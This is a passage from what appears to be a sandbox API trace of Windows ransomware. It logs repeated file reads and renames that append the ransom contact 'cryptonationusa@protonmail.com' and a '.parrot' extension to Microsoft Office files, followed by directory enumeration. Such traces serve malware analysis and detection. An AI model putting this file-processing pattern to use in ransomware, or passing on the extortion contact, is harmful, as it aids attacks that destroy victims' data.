dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.222] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.223] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.223] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ed0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6ed0, lpOverlapped=0x0) returned 1 [0183.224] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.225] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6fe8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.225] CloseHandle (hObject=0x280) returned 1 [0183.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.229] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc9d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.229] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.229] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.231] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.231] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc8bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc8bc, lpOverlapped=0x0) returned 1 [0183.232] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.233] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc9d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.233] CloseHandle (hObject=0x280) returned 1 [0183.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.237] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.237] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.237] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.280] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.280] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6b14, lpOverlapped=0x0) returned 1 [0183.281] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.281] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.282] CloseHandle (hObject=0x280) returned 1 [0183.282] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.288] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb96c, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.288] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.288] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.289] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.289] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb854, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb854, lpOverlapped=0x0) returned 1 [0183.291] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.291] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb96c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.291] CloseHandle (hObject=0x280) returned 1 [0183.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.297] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe246, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.297] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.298] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.299] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.299] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe12e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe12e, lpOverlapped=0x0) returned 1 [0183.301] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.301] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe246, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.301] CloseHandle (hObject=0x280) returned 1 [0183.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.306] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a1a, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.306] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.306] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.308] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.308] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3902, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3902, lpOverlapped=0x0) returned 1 [0183.309] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.310] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a1a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.310] CloseHandle (hObject=0x280) returned 1 [0183.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.315] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ec4, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.315] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.315] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.320] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.320] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3dac, lpOverlapped=0x0) returned 1 [0183.321] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.321] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ec4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.321] CloseHandle (hObject=0x280) returned 1 [0183.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.326] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd8ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.327] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.327] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.328] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.328] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7b6, lpOverlapped=0x0) returned 1 [0183.329] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.330] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd8ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.330] CloseHandle (hObject=0x280) returned 1 [0183.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.337] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x103c, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.338] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.338] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.339] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.339] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf24, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf24, lpOverlapped=0x0) returned 1 [0183.340] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.340] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x103c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.340] CloseHandle (hObject=0x280) returned 1 [0183.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.344] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc0e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.344] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.344] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.346] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.346] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbfca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbfca, lpOverlapped=0x0) returned 1 [0183.347] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.348] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc0e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.348] CloseHandle (hObject=0x280) returned 1 [0183.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.352] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc7ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.352] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.352] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.354] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.354] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc696, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc696, lpOverlapped=0x0) returned 1 [0183.355] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.355] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc7ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.356] CloseHandle (hObject=0x280) returned 1 [0183.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.361] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0183.361] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf9501500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf9501500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.362] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9384740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x7f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MSART1~1.PAR")) returned 1 [0183.363] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c21, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.363] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0183.364] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.364] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7b09, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x7b09, lpOverlapped=0x0) returned 1 [0183.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.366] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c21, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.366] CloseHandle (hObject=0x288) returned 1 [0183.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.371] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xddda, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.371] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.371] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0183.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.372] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdcc2, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xdcc2, lpOverlapped=0x0) returned 1 [0183.373] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.374] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xddda, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.374] CloseHandle (hObject=0x288) returned 1 [0183.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.379] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0183.381] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0183.382] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.382] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0183.382] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0183.382] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0183.382] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0183.382] lstrcmpW (lpString1="1033", lpString2="..") returned 1 